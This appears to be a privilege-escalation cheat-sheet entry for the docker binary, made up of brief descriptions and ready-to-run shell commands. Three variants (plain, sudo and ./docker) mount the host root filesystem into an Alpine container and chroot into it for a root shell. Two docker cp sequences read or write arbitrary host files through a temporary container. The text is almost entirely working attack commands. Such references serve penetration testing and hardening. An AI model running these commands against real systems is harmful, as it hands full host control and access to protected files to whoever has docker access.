description |
code |
The resulting is a root shell. |
docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
|
|
description |
code |
Write a file by copying it to a temporary container and back to the target destination on the host. |
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
echo "DATA" > $TF
docker cp $TF $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF file_to_write
|
|
|
description |
code |
Read a file by copying it to a temporary container and back to a new location on the host. |
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
docker cp file_to_read $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF $TF
cat $TF
|
|
|
description |
code |
The resulting is a root shell. |
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
|
|
description |
code |
The resulting is a root shell. |
./docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
|
|